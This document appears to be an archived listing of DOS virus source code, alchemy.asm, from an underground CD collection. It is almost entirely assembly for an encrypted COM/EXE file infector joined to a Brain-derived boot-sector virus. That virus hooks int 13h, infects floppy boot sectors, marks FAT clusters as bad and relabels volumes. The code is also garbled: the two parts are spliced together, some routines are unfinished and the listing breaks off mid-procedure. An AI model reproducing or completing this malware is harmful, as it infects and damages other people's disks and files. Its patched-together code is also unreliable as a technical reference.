home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / alchemy.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  32.8 KB  |  1,040 lines

  1. ; Alchemy.asm : [Arachnyphobia] by Abraxas
  2.  
  3. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  4.  
  5. ; from the configuration file skeleton.cfg
  6.  
  7.  
  8.  
  9. .model tiny                             ; Handy directive
  10.  
  11. .code                                   ; Virus code segment
  12.  
  13.           org    100h                   ; COM file starting IP
  14.  
  15.  
  16.  
  17. id = 'DA'                               ; ID word for EXE infections
  18.  
  19. entry_point: db 0e9h,0,0                ; jmp decrypt
  20.  
  21.  
  22.  
  23. decrypt:                                ; handles encryption and decryption
  24.  
  25. patch_startencrypt:
  26.  
  27.           mov  bx,offset startencrypt   ; start of decryption
  28.  
  29.           mov  cx,(offset heap - offset startencrypt)/2 ; iterations
  30.  
  31. decrypt_loop:
  32.  
  33.           db   2eh,81h,07h              ; add word ptr cs:[bx], xxxx
  34.  
  35. decrypt_value dw 0                      ; initialised at zero for null effect
  36.  
  37.           inc  bx                       ; calculate new decryption location
  38.  
  39.           inc  bx
  40.  
  41.           loop decrypt_loop             ; decrypt mo'
  42.  
  43. startencrypt:
  44.  
  45.           call next                     ; calculate delta offset
  46.  
  47. next:     pop  bp                       ; bp = IP next
  48.  
  49.           sub  bp,offset next           ; bp = delta offset
  50.  
  51.  
  52.  
  53.           cmp  sp,id                    ; COM or EXE?
  54.  
  55.           je   restoreEXE
  56.  
  57. restoreCOM:
  58.  
  59.           lea  si,[bp+save3]
  60.  
  61.           mov  di,100h
  62.  
  63.           push di                       ; For later return
  64.  
  65.           movsb
  66.  
  67.           jmp  short restoreEXIT
  68.  
  69. restoreEXE:
  70.  
  71.           push ds
  72.  
  73.           push es
  74.  
  75.           push cs                       ; DS = CS
  76.  
  77.           pop  ds
  78.  
  79.           push cs                       ; ES = CS
  80.  
  81.           pop  es
  82.  
  83.           lea  si,[bp+jmpsave2]
  84.  
  85.           lea  di,[bp+jmpsave]
  86.  
  87.           movsw
  88.  
  89.           movsw
  90.  
  91.           movsw
  92.  
  93. restoreEXIT:
  94.  
  95.           movsw
  96.  
  97.  
  98.  
  99.           mov  byte ptr [bp+numinfec],1 ; reset infection counter
  100.  
  101.  
  102.  
  103.           mov  ah,1Ah                   ; Set new DTA
  104.  
  105.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  106.  
  107.           int  21h
  108.  
  109.  
  110.  
  111.           mov  ah,47h                   ; Get current directory
  112.  
  113.           mov  dl,0                     ; Current drive
  114.  
  115.           lea  si,[bp+origdir]          ; DS:SI->buffer
  116.  
  117.           int  21h
  118.  
  119.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  120.  
  121.  
  122.  
  123.           mov  ax,3524h                 ; Get int 24 handler
  124.  
  125.           int  21h                      ; to ES:BX
  126.  
  127.           mov  word ptr [bp+oldint24],bx; Save it
  128.  
  129.           mov  word ptr [bp+oldint24+2],es
  130.  
  131.           mov  ah,25h                   ; Set new int 24 handler
  132.  
  133.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  134.  
  135.           int  21h
  136.  
  137.           push cs                       ; Restore ES
  138.  
  139.           pop  es                       ; 'cuz it was changed
  140.  
  141.  
  142.  
  143. dir_scan:                               ; "dot dot" traversal
  144.  
  145.           lea  dx,[bp+exe_mask]
  146.  
  147.           call infect_mask
  148.  
  149.           lea  dx,[bp+com_mask]
  150.  
  151.           call infect_mask
  152.  
  153.           mov  ah,3bh                   ; change directory
  154.  
  155.           lea  dx,[bp+dot_dot]          ; "cd .."
  156.  
  157.           int  21h
  158.  
  159.           jnc  dir_scan                 ; go back for mo!
  160.  
  161.  
  162.  
  163. done_infections:
  164.  
  165.           mov  ah,2ah                   ; Get current date
  166.  
  167.           int  21h
  168.  
  169.           cmp  dh,10                    ; Check month
  170.  
  171.           jb   exit_virus
  172.  
  173.           cmp  dl,14                    ; Check date
  174.  
  175.           jb   exit_virus
  176.  
  177.           cmp  cx,1991                  ; Check year
  178.  
  179.           jae  activate
  180.  
  181.  
  182.  
  183. exit_virus:
  184.  
  185.           mov  ax,2524h                 ; Restore int 24 handler
  186.  
  187.           lds  dx,[bp+offset oldint24]  ; to original
  188.  
  189.           int  21h
  190.  
  191.           push cs
  192.  
  193.           pop  ds
  194.  
  195.  
  196.  
  197.           mov  ah,3bh                   ; change directory
  198.  
  199.           lea  dx,[bp+origdir-1]        ; original directory
  200.  
  201.           int  21h
  202.  
  203.  
  204.  
  205.           mov  ah,1ah                   ; restore DTA to default
  206.  
  207.           mov  dx,80h                   ; DTA in PSP
  208.  
  209.           cmp  sp,id-4                  ; EXE or COM?
  210.  
  211.           jz   returnEXE
  212.  
  213. returnCOM:
  214.  
  215.           int  21h
  216.  
  217.           retn                          ; 100h is on stack
  218.  
  219. returnEXE:
  220.  
  221.           pop  es
  222.  
  223.           pop  ds
  224.  
  225.           int  21h
  226.  
  227.           mov  ax,es                    ; AX = PSP segment
  228.  
  229.           add  ax,10h                   ; Adjust for PSP
  230.  
  231.           add  word ptr cs:[bp+jmpsave+2],ax
  232.  
  233.           add  ax,word ptr cs:[bp+stacksave+2]
  234.  
  235.           cli                           ; Clear intrpts for stack manipulation
  236.  
  237.           mov  sp,word ptr cs:[bp+stacksave]
  238.  
  239.           mov  ss,ax
  240.  
  241.           sti
  242.  
  243.           db   0eah                     ; jmp ssss:oooo
  244.  
  245. jmpsave             dd ?                ; Original CS:IP
  246.  
  247. stacksave           dd ?                ; Original SS:SP
  248.  
  249. jmpsave2            db ?                ; Actually four bytes
  250.  
  251. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  252.  
  253. stacksave2          dd ?
  254.  
  255.  
  256.  
  257. activate:                               ; Conditions satisfied
  258.  
  259.         org     0
  260.  
  261.  
  262.  
  263.         cli
  264.  
  265.         jmp     entervirus
  266.  
  267. idbytes         db       34h, 12h
  268.  
  269. firsthead       db      0
  270.  
  271. firstsector     dw      2707h
  272.  
  273. curhead         db      0
  274.  
  275. cursector       dw      1
  276.  
  277.         db      0, 0, 0, 0
  278.  
  279.         db      'Welcome to the  Dungeon         '
  280.  
  281. copyright       db      '(c) 1986 Brain'
  282.  
  283.         db      17h
  284.  
  285.         db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
  286.  
  287.         db      ' RECORD   v9.0   Dedicated to th'
  288.  
  289.         db      'e dynamic memories of millions o'
  290.  
  291.         db      'f virus who are no longer with u'
  292.  
  293.         db      's today - Thanks GOODNESS!!     '
  294.  
  295.         db      '  BEWARE OF THE er..VIRUS  : \th'
  296.  
  297.         db      'is program is catching      prog'
  298.  
  299.         db      'ram follows after these messeges'
  300.  
  301.         db      '..... $'
  302.  
  303.         db      '#@%$'
  304.  
  305.         db      '@!! '
  306.  
  307. entervirus:
  308.  
  309.         mov     ax,cs
  310.  
  311.         mov     ds,ax                   ; ds = 0
  312.  
  313.         mov     ss,ax                   ; set stack to after
  314.  
  315.         mov     sp,0F000h               ; virus
  316.  
  317.         sti
  318.  
  319.         mov     al,ds:[7C00h+offset firsthead]
  320.  
  321.         mov     ds:[7C00h+offset curhead],al
  322.  
  323.         mov     cx,ds:[7C00h+offset firstsector]
  324.  
  325.         mov     ds:[7C00h+offset cursector],cx
  326.  
  327.         call    calcnext
  328.  
  329.         mov     cx,5                    ; read five sectors
  330.  
  331.         mov     bx,7C00h+200h           ; after end of virus
  332.  
  333.  
  334.  
  335. loadnext:
  336.  
  337.         call    readdisk
  338.  
  339.         call    calcnext
  340.  
  341.         add     bx,200h
  342.  
  343.         loop    loadnext
  344.  
  345.  
  346.  
  347.         mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  348.  
  349.         sub     ax,7                    ; - 7 Kb
  350.  
  351.         mov     word ptr ds:[413h],ax   ; Insert as new value
  352.  
  353.         mov     cl,6
  354.  
  355.         shl     ax,cl                   ; Convert to paragraphs
  356.  
  357.         mov     es,ax
  358.  
  359.         mov     si,7C00h                ; Copy from virus start
  360.  
  361.         mov     di,0                    ; to start of memory
  362.  
  363.         mov     cx,1004h                ; Copy 1004h bytes
  364.  
  365.         cld
  366.  
  367.         rep     movsb
  368.  
  369.         push    es
  370.  
  371.         mov     ax,200h
  372.  
  373.         push    ax
  374.  
  375.         retf                            ; return to old boot sector
  376.  
  377.  
  378.  
  379. readdisk:
  380.  
  381.         push    cx
  382.  
  383.         push    bx
  384.  
  385.         mov     cx,4                    ; Try 4 times
  386.  
  387.  
  388.  
  389. tryread:
  390.  
  391.         push    cx
  392.  
  393.         mov     dh,ds:[7C00h+offset curhead]
  394.  
  395.         mov     dl,0                    ; Read sector from default
  396.  
  397.         mov     cx,ds:[7C00h+offset cursector]
  398.  
  399.         mov     ax,201h                 ; Disk to memory at es:bx
  400.  
  401.         int     13h
  402.  
  403.         jnc     readOK
  404.  
  405.         mov     ah,0                    ; Reset disk
  406.  
  407.         int     13h                     ; (force read track 0)
  408.  
  409.         pop     cx
  410.  
  411.         loop    tryread
  412.  
  413.  
  414.  
  415.         int     18h                     ; ROM basic on failure
  416.  
  417. readOK:
  418.  
  419.         pop     cx
  420.  
  421.         pop     bx
  422.  
  423.         pop     cx
  424.  
  425.         retn
  426.  
  427.  
  428.  
  429. calcnext:
  430.  
  431.         mov     al,byte ptr ds:[7C00h+offset cursector]
  432.  
  433.         inc     al
  434.  
  435.         mov     byte ptr ds:[7C00h+offset cursector],al
  436.  
  437.         cmp     al,0Ah
  438.  
  439.         jne     donecalc
  440.  
  441.         mov     byte ptr ds:[7C00h+offset cursector],1
  442.  
  443.         mov     al,ds:[7C00h+offset curhead]
  444.  
  445.         inc     al
  446.  
  447.         mov     ds:[7C00h+offset curhead],al
  448.  
  449.         cmp     al,2
  450.  
  451.         jne     donecalc
  452.  
  453.         mov     byte ptr ds:[7C00h+offset curhead],0
  454.  
  455.         inc     byte ptr ds:[7C00h+offset cursector+1]
  456.  
  457. donecalc:
  458.  
  459.         retn
  460.  
  461.  
  462.  
  463. ; the following is a collection of garbage bytes
  464.  
  465.         db       00h, 00h, 00h, 00h, 32h,0E3h
  466.  
  467.         db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  468.  
  469.         db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  470.  
  471.         db      0CDh, 21h,0A2h, 3Ch, 5Fh
  472.  
  473. a_data          dw      050Ch
  474.  
  475. ; Second part of the virus begins here
  476.  
  477.         jmp     short entersecondpart
  478.  
  479.         db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  480.  
  481. readcounter     db      4                       ; keep track of # reads
  482.  
  483. curdrive        db      0
  484.  
  485. int13flag       db      0
  486.  
  487.  
  488.  
  489. entersecondpart:
  490.  
  491.         mov     cs:readcounter,1Fh
  492.  
  493.         xor     ax,ax
  494.  
  495.         mov     ds,ax                   ; ds -> interrupt table
  496.  
  497.         mov     ax,ds:[13h*4]
  498.  
  499.         mov     ds:[6Dh*4],ax
  500.  
  501.         mov     ax,ds:[13h*4+2]
  502.  
  503.         mov     ds:[6Dh*4+2],ax
  504.  
  505.         mov     ax,offset int13         ; 276h
  506.  
  507.         mov     ds:[13h*4],ax
  508.  
  509.         mov     ax,cs
  510.  
  511.         mov     ds:[13h*4+2],ax
  512.  
  513.         mov     cx,4                    ; 4 tries
  514.  
  515.         xor     ax,ax
  516.  
  517.         mov     es,ax                   ; es -> interrupt table
  518.  
  519.  
  520.  
  521. tryreadbootsector:
  522.  
  523.         push    cx
  524.  
  525.         mov     dh,cs:firsthead
  526.  
  527.         mov     dl,0
  528.  
  529.         mov     cx,cs:firstsector
  530.  
  531.         mov     ax,201h                 ; read from default disk
  532.  
  533.         mov     bx,7C00h
  534.  
  535.         int     6Dh                     ; int 13h
  536.  
  537.         jnc     readbootOK
  538.  
  539.         mov     ah,0
  540.  
  541.         int     6Dh                     ; int 13h
  542.  
  543.         pop     cx
  544.  
  545.         loop    tryreadbootsector
  546.  
  547.  
  548.  
  549.         int     18h                     ; ROM basic on failure
  550.  
  551. readbootOK:                                     ; return control to
  552.  
  553.                         ; original boot sector
  554.  
  555. ;*              jmp     far ptr 0000:7C00h
  556.  
  557.         db      0EAh, 00h, 7Ch, 00h, 00h
  558.  
  559.         nop                             ; MASM NOP!!!
  560.  
  561. int13:
  562.  
  563.         sti
  564.  
  565.         cmp     ah,2                    ; if not read request,
  566.  
  567.         jne     doint13                 ; do not go further
  568.  
  569.         cmp     dl,2                    ; if after second floppy,
  570.  
  571.         ja      doint13                 ; do not go further
  572.  
  573.         cmp     ch,0                    ; if not reading boot sector,
  574.  
  575.         jne     regularread             ; go handle as usual
  576.  
  577.         cmp     dh,0                    ; if boot sector,
  578.  
  579.         je      readboot                ; do I<-/>/\|> stuff
  580.  
  581. regularread:
  582.  
  583.         dec     cs:readcounter          ; Infect after 4 reads
  584.  
  585.         jnz     doint13                 ; If counter still OK, don't
  586.  
  587.                         ; do anything else
  588.  
  589.         jmp     short readboot          ; Otherwise, try to infect
  590.  
  591. doint13:
  592.  
  593.         jmp     exitint13h
  594.  
  595. readboot:
  596.  
  597. ; FINISH THIS!
  598.  
  599.         mov     cs:int13flag,0          ; clear flag
  600.  
  601.         mov     cs:readcounter,4        ; reset counter
  602.  
  603.         push    ax
  604.  
  605.         push    bx
  606.  
  607.         push    cx
  608.  
  609.         push    dx
  610.  
  611.         mov     cs:curdrive,dl
  612.  
  613.         mov     cx,4
  614.  
  615.  
  616.  
  617. tryreadbootblock:
  618.  
  619.         push    cx
  620.  
  621.         mov     ah,0                    ; Reset disk
  622.  
  623.         int     6Dh
  624.  
  625.         jc      errorreadingbootblock   ; Try again
  626.  
  627.         mov     dh,0
  628.  
  629.         mov     cx,1
  630.  
  631.         mov     bx,offset readbuffer    ; buffer @ 6BEh
  632.  
  633.         push    es
  634.  
  635.         mov     ax,cs
  636.  
  637.         mov     es,ax
  638.  
  639.         mov     ax,201h
  640.  
  641.         int     6Dh                     ; Read boot sector
  642.  
  643.         pop     es
  644.  
  645.         jnc     continuestuff           ; continue if no error
  646.  
  647. errorreadingbootblock:
  648.  
  649.         pop     cx
  650.  
  651.         loop    tryreadbootblock
  652.  
  653.  
  654.  
  655.         jmp     short resetdisk         ; too many failures
  656.  
  657.         nop
  658.  
  659. continuestuff:
  660.  
  661.         pop     cx                      ; get system id in boot block
  662.  
  663.         mov     ax,word ptr cs:[offset readbuffer+4]
  664.  
  665.         cmp     ax,1234h                ; already infected?
  666.  
  667.         jne     dodisk                  ; if not, infect it
  668.  
  669.         mov     cs:int13flag,1          ; flag prev. infection
  670.  
  671.         jmp     short noreset
  672.  
  673. dodisk:
  674.  
  675.         push    ds
  676.  
  677.         push    es
  678.  
  679.         mov     ax,cs
  680.  
  681.         mov     ds,ax
  682.  
  683.         mov     es,ax
  684.  
  685.         push    si
  686.  
  687.         call    writevirus              ; infect the disk
  688.  
  689.         jc      failme                  ; exit on failure
  690.  
  691.         mov     cs:int13flag,2          ; flag success
  692.  
  693.         call    changeroot              ; manipulate volume label
  694.  
  695. failme:
  696.  
  697.         pop     si
  698.  
  699.         pop     es
  700.  
  701.         pop     ds
  702.  
  703.         jnc     noreset                 ; don't reset on success
  704.  
  705. resetdisk:
  706.  
  707.         mov     ah,0                    ; reset disk
  708.  
  709.         int     6Dh                     ; int 13h
  710.  
  711. noreset:
  712.  
  713.         pop     dx
  714.  
  715.         pop     cx
  716.  
  717.         pop     bx
  718.  
  719.         pop     ax
  720.  
  721.         cmp     cx,1
  722.  
  723.         jne     exitint13h
  724.  
  725.         cmp     dh,0
  726.  
  727.         jne     exitint13h
  728.  
  729.         cmp     cs:int13flag,1          ; already infected?
  730.  
  731.         jne     wasntinfected           ; if wasn't, go elsewhere
  732.  
  733.         mov     cx,word ptr cs:[offset readbuffer+7]
  734.  
  735.         mov     dx,word ptr cs:[offset readbuffer+5]
  736.  
  737.         mov     dl,cs:curdrive          ; otherwise, read real
  738.  
  739.         jmp     short exitint13h        ; boot sector
  740.  
  741. wasntinfected:
  742.  
  743.         cmp     cs:int13flag,2          ; successful infection?
  744.  
  745.         jne     exitint13h              ; if not, just do call
  746.  
  747.         mov     cx,cs:firstsector
  748.  
  749.         mov     dh,cs:firsthead
  750.  
  751. exitint13h:
  752.  
  753.         int     6Dh                     ; int 13h
  754.  
  755.         retf    2
  756.  
  757.         db      15 dup (0)
  758.  
  759.  
  760.  
  761. FATManip:                                       ; returns al as error code
  762.  
  763.         jmp     short delvedeeper
  764.  
  765.         nop
  766.  
  767. FATManipreadcounter dw      3
  768.  
  769.         db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  770.  
  771. delvedeeper:
  772.  
  773.         call    readFAT                 ; Get FAT ID byte
  774.  
  775.         mov     ax,word ptr ds:[offset readbuffer]
  776.  
  777.         cmp     ax,0FFFDh               ; is it 360K disk?
  778.  
  779.         je      is360Kdisk              ; continue if so
  780.  
  781.         mov     al,3                    ; al=3 == not good disk
  782.  
  783.         stc                             ; flag error
  784.  
  785.         retn                            ; and exit
  786.  
  787. is360Kdisk:
  788.  
  789.         mov     cx,37h
  790.  
  791.         mov     FATManipreadcounter,0   ; none found yet
  792.  
  793. checknextsector:
  794.  
  795.         call    FATentry12bit           ; get entry in FAT
  796.  
  797.         cmp     ax,0                    ; unused?
  798.  
  799.         jne     notunused
  800.  
  801.         inc     FATManipreadcounter     ; one more found unused
  802.  
  803.         cmp     FATManipreadcounter,3   ; If need more,
  804.  
  805.         jne     tryanother              ;  go there
  806.  
  807.         jmp     short markembad         ; found 3 consecutive
  808.  
  809.         nop                             ; empty sectors
  810.  
  811. notunused:
  812.  
  813.         mov     FATManipreadcounter,0   ; must start over
  814.  
  815. tryanother:
  816.  
  817.         inc     cx                      ; try next sector
  818.  
  819.         cmp     cx,163h                 ; end of disk?
  820.  
  821.         jne     checknextsector         ; if not, continue
  822.  
  823.         mov     al,1                    ; al=1 == none empty
  824.  
  825.         stc                             ; Indicate error
  826.  
  827.         retn
  828.  
  829. markembad:
  830.  
  831.         mov     dl,3                    ; 3 times
  832.  
  833. markanotherbad:
  834.  
  835.         call    markbad12bit
  836.  
  837.         dec     cx
  838.  
  839.         dec     dl
  840.  
  841.         jnz     markanotherbad
  842.  
  843.         inc     cx
  844.  
  845.         call    calc1sttrack
  846.  
  847.         call    writeFAT                ; update FAT
  848.  
  849.         mov     al,0                    ; al=0 == ok
  850.  
  851.         clc                             ; indicate success
  852.  
  853.         retn
  854.  
  855.  
  856.  
  857. markbad12bit:
  858.  
  859.         push    cx
  860.  
  861.         push    dx
  862.  
  863.         mov     si,offset readbuffer    ; si -> buffer
  864.  
  865.         mov     al,cl
  866.  
  867.         shr     al,1
  868.  
  869.         jc      low_12                  ; low bits
  870.  
  871.         call    clus2offset12bit
  872.  
  873.         mov     ax,[bx+si]              ; get FAT entry
  874.  
  875.         and     ax,0F000h               ; mark it bad
  876.  
  877.         or      ax,0FF7h
  878.  
  879.         jmp     short putitback         ; and put it back
  880.  
  881.         nop
  882.  
  883. low_12:
  884.  
  885.         call    clus2offset12bit
  886.  
  887.         mov     ax,[bx+si]              ; get FAT entry
  888.  
  889.         and     ax,0Fh                  ; mark it bad
  890.  
  891.         or      ax,0FF70h
  892.  
  893. putitback:
  894.  
  895.         mov     [bx+si],ax              ; replace FAT entry
  896.  
  897.         mov     word ptr ds:[400h][bx+si],ax ; in two places
  898.  
  899.         pop     dx
  900.  
  901.         pop     cx
  902.  
  903.         retn
  904.  
  905.  
  906.  
  907. FATentry12bit:
  908.  
  909.         push    cx
  910.  
  911.         mov     si,offset readbuffer    ; si->buffer
  912.  
  913.         mov     al,cl
  914.  
  915.         shr     al,1
  916.  
  917. ; Part 3 of the virus starts here
  918.  
  919.         jc      want_high_12
  920.  
  921.         call    clus2offset12bit
  922.  
  923.         mov     ax,[bx+si]
  924.  
  925.         and     ax,0FFFh
  926.  
  927.         jmp     short exitFATentry12bit
  928.  
  929.         nop
  930.  
  931. want_high_12:
  932.  
  933.         call    clus2offset12bit        ; xxxxxxxxxxxx0000
  934.  
  935.         mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  936.  
  937.         and     ax,0FFF0h               ; mask wanted bits
  938.  
  939.         mov     cl,4                    ; and move to correct
  940.  
  941.         shr     ax,cl                   ; position
  942.  
  943. exitFATentry12bit:
  944.  
  945.         pop     cx
  946.  
  947.         retn
  948.  
  949.  
  950.  
  951. clus2offset12bit:
  952.  
  953.         push    dx
  954.  
  955.         mov     ax,3
  956.  
  957.         mul     cx
  958.  
  959.         shr     ax,1                    ; ax = cx*1.5
  960.  
  961.         mov     bx,ax
  962.  
  963.         pop     dx
  964.  
  965.         retn
  966.  
  967.  
  968.  
  969. readFAT:
  970.  
  971.         mov     ah,2                    ; read
  972.  
  973.         call    FAT_IO
  974.  
  975.         retn
  976.  
  977.  
  978.  
  979. writeFAT:
  980.  
  981.         mov     ah,3                    ; write
  982.  
  983.         call    FAT_IO
  984.  
  985.         retn
  986.  
  987.  
  988.  
  989. FAT_IO:
  990.  
  991.         mov     cx,4                    ; try four times
  992.  
  993. FAT_IOLoop:
  994.  
  995.         push    cx
  996.  
  997.         push    ax
  998.  
  999.         mov     ah,0                    ; reset disk
  1000.  
  1001.         int     6Dh                     ; int 13h
  1002.  
  1003.         pop     ax
  1004.  
  1005.         jc      tryFAT_IOagain
  1006.  
  1007.         mov     bx,offset readbuffer
  1008.  
  1009.         mov     al,4                    ; 4 sectors
  1010.  
  1011.         mov     dh,0                    ; head 0
  1012.  
  1013.         mov     dl,curdrive
  1014.  
  1015.         mov     cx,2                    ; sector 2
  1016.  
  1017.         push    ax                      ; (FAT)
  1018.  
  1019.         int     6Dh                     ; int 13h
  1020.  
  1021.         pop     ax
  1022.  
  1023.         jnc     exitFAT_IO
  1024.  
  1025. tryFAT_IOagain:
  1026.  
  1027.         pop     cx
  1028.  
  1029.         loop    FAT_IOLoop
  1030.  
  1031.  
  1032.  
  1033.         pop     ax
  1034.  
  1035.         pop     ax
  1036.  
  1037.         mov     al,2
  1038.  
  1039.         stc                             ; mark error
  1040.  
  1041.         retn
  1042.  
  1043. exitFAT_IO:
  1044.  
  1045.         pop     cx
  1046.  
  1047.         retn
  1048.  
  1049.  
  1050.  
  1051. calc1sttrack:
  1052.  
  1053.         push    cx
  1054.  
  1055.         sub     cx,2
  1056.  
  1057.         shl     cx,1                    ; 2 sectors/cluster
  1058.  
  1059.         add     cx,0Ch                  ; start of data area
  1060.  
  1061.         mov     ax,cx                   ; ax = sector
  1062.  
  1063.         mov     cl,12h                  ; 4096
  1064.  
  1065.         div     cl                      ; ax/4096 = al rem ah
  1066.  
  1067.         mov     byte ptr firstsector+1,al
  1068.  
  1069.         mov     firsthead,0
  1070.  
  1071.         inc     ah
  1072.  
  1073.         cmp     ah,9                    ; past track 9?
  1074.  
  1075.         jbe     notpasttrack9           ; nope, we are ok
  1076.  
  1077.         sub     ah,9                    ; otherwise, adjust
  1078.  
  1079.         mov     firsthead,1
  1080.  
  1081. notpasttrack9:
  1082.  
  1083.         mov     byte ptr firstsector,ah
  1084.  
  1085.         pop     cx
  1086.  
  1087.         retn
  1088.  
  1089.  
  1090.  
  1091.         db      0, 0, 0, 0, 0, 0
  1092.  
  1093. r_or_w_root     db      3
  1094.  
  1095. entrycount      dw      35h
  1096.  
  1097.  
  1098.  
  1099. tempsave1       dw      303h
  1100.  
  1101. tempsave2       dw      0EBEh
  1102.  
  1103. tempsave3       dw      1
  1104.  
  1105. tempsave4       dw      100h
  1106.  
  1107.         db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  1108.  
  1109.         db       8Dh, 98h, 9Fh, 8Eh,0E0h
  1110.  
  1111.         db      ' (c) ashar $'
  1112.  
  1113. changeroot:
  1114.  
  1115.         call    readroot                ; read in root directory
  1116.  
  1117.         jc      donotchangeroot
  1118.  
  1119.         push    di
  1120.  
  1121.         call    changevolume            ; change volume label
  1122.  
  1123.         pop     di
  1124.  
  1125.         jc      donotchangeroot
  1126.  
  1127.         call    writeroot               ; write back new root dir
  1128.  
  1129. donotchangeroot:
  1130.  
  1131.         retn
  1132.  
  1133. ; The following is just garbage bytes
  1134.  
  1135.         db      0BBh, 9Bh, 04h,0B9h, 0Bh
  1136.  
  1137.         db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  1138.  
  1139.         db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  1140.  
  1141.         db      0C6h, 06h
  1142.  
  1143.  
  1144.  
  1145. changevolume:
  1146.  
  1147.         mov     entrycount,6Ch
  1148.  
  1149.         mov     si,offset readbuffer+40h; 3nd dir entry
  1150.  
  1151.         mov     tempsave1,dx
  1152.  
  1153.         mov     ax,entrycount           ; 6Ch
  1154.  
  1155.         shr     ax,1
  1156.  
  1157.         mov     tempsave3,ax            ; 36h
  1158.  
  1159.         shr     ax,1
  1160.  
  1161.         mov     tempsave2,ax            ; 1Bh
  1162.  
  1163.         xchg    ax,cx
  1164.  
  1165.         and     cl,43h                  ; cx = 3
  1166.  
  1167.         mov     di,tempsave2
  1168.  
  1169.         add     di,1E3h                 ; di = 01FE
  1170.  
  1171. findlabel:
  1172.  
  1173.         mov     al,[si]
  1174.  
  1175.         cmp     al,0
  1176.  
  1177.         je      dolabel                 ; no mo entries
  1178.  
  1179.         mov     al,[si+0Bh]             ; attribute byte
  1180.  
  1181.         and     al,8                    ; volume label?
  1182.  
  1183.         cmp     al,8                    ; yes?
  1184.  
  1185.         je      dolabel                 ; then change it!
  1186.  
  1187.         add     si,20h                  ; go to next directory entry
  1188.  
  1189.         dec     entrycount
  1190.  
  1191.         jnz     findlabel               ; loop back
  1192.  
  1193.         stc                             ; Error!
  1194.  
  1195.         retn
  1196.  
  1197.         db      8Bh
  1198.  
  1199. dolabel:
  1200.  
  1201.         mov     bx,[di]                 ; offset a_data
  1202.  
  1203.         xor     bx,tempsave3            ; bx = 53Ah
  1204.  
  1205.         mov     tempsave3,si            ; si->direntry
  1206.  
  1207.         cli
  1208.  
  1209.         mov     ax,ss
  1210.  
  1211.         mov     tempsave1,ax
  1212.  
  1213.         mov     tempsave2,sp
  1214.  
  1215.         mov     ax,cs
  1216.  
  1217.         mov     ss,ax
  1218.  
  1219.         mov     sp,tempsave3
  1220.  
  1221.         add     sp,0Ch                  ;->reserved area
  1222.  
  1223.         mov     cl,51h
  1224.  
  1225.         add     dx,444Ch
  1226.  
  1227.         mov     di,2555h
  1228.  
  1229.         mov     cx,0C03h
  1230.  
  1231.         repe    cmpsw
  1232.  
  1233.         mov     ax,0B46h
  1234.  
  1235.         mov     cx,3
  1236.  
  1237.         rol     ax,cl                   ; ax = 5A30h
  1238.  
  1239.         mov     tempsave3,ax
  1240.  
  1241.         mov     cx,5
  1242.  
  1243.         mov     dx,8
  1244.  
  1245.         sub     tempsave3,5210h         ; 820h
  1246.  
  1247.         push    tempsave3               ; store attributes/reserved
  1248.  
  1249. ; I haven't commented the remainder of this procedure.
  1250.  
  1251. ; It basically changes the volume label to read "(c) Brain"
  1252.  
  1253.  
  1254.  
  1255. ; Comment mode OFF
  1256.  
  1257.  
  1258.  
  1259. dowhatever:
  1260.  
  1261.         mov     ah,[bx]                 ; 5a3h
  1262.  
  1263.         inc     bx
  1264.  
  1265.         mov     dl,ah
  1266.  
  1267.         shl     dl,1
  1268.  
  1269.         jc      dowhatever
  1270.  
  1271. searchstuff:
  1272.  
  1273.         mov     dl,[bx]                 ; dl=C2h
  1274.  
  1275.         inc     bx                      ; bx=53Eh
  1276.  
  1277.         mov     al,dl
  1278.  
  1279.         shl     dl,1
  1280.  
  1281.         jc      searchstuff
  1282.  
  1283.         add     ax,1D1Dh
  1284.  
  1285.         push    ax
  1286.  
  1287.         inc     tempsave3
  1288.  
  1289.         db       73h, 01h               ; jnc $+3
  1290.  
  1291.         db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  1292.  
  1293.         xchg    bp,ax
  1294.  
  1295.         add     al,0A1h
  1296.  
  1297.         xchg    bx,ax
  1298.  
  1299.         add     al,8Eh
  1300.  
  1301.         sar     bl,1
  1302.  
  1303.         add     dh,[bp+si]
  1304.  
  1305.         clc
  1306.  
  1307.         ret
  1308.  
  1309.         ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  1310.  
  1311.         ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  1312.  
  1313.  
  1314.  
  1315. ; Comment mode ON
  1316.  
  1317.  
  1318.  
  1319. readroot:
  1320.  
  1321.         mov     r_or_w_root,2           ; set action code
  1322.  
  1323.         jmp     short do_rw_root        ; easier to do w/
  1324.  
  1325.         nop                             ; mov ah, 2
  1326.  
  1327. writeroot:
  1328.  
  1329.         mov     r_or_w_root,3
  1330.  
  1331.         jmp     short do_rw_root        ; this is somewhat useless
  1332.  
  1333.         nop
  1334.  
  1335. do_rw_root:
  1336.  
  1337.         mov     dh,0                    ; head 0
  1338.  
  1339.         mov     dl,curdrive
  1340.  
  1341.         mov     cx,6                    ; sector 6
  1342.  
  1343.         mov     ah,r_or_w_root
  1344.  
  1345.         mov     al,4                    ; 4 sectors
  1346.  
  1347.         mov     bx,offset readbuffer
  1348.  
  1349.         call    doint13h
  1350.  
  1351.         jc      exit_rw_root            ; quit on error
  1352.  
  1353.         mov     cx,1
  1354.  
  1355.         mov     dh,1                    ; head 1
  1356.  
  1357.         mov     ah,r_or_w_root
  1358.  
  1359.         mov     al,3
  1360.  
  1361.         add     bx,800h
  1362.  
  1363.         call    doint13h
  1364.  
  1365.  
  1366.  
  1367. exit_rw_root:
  1368.  
  1369.         retn
  1370.  
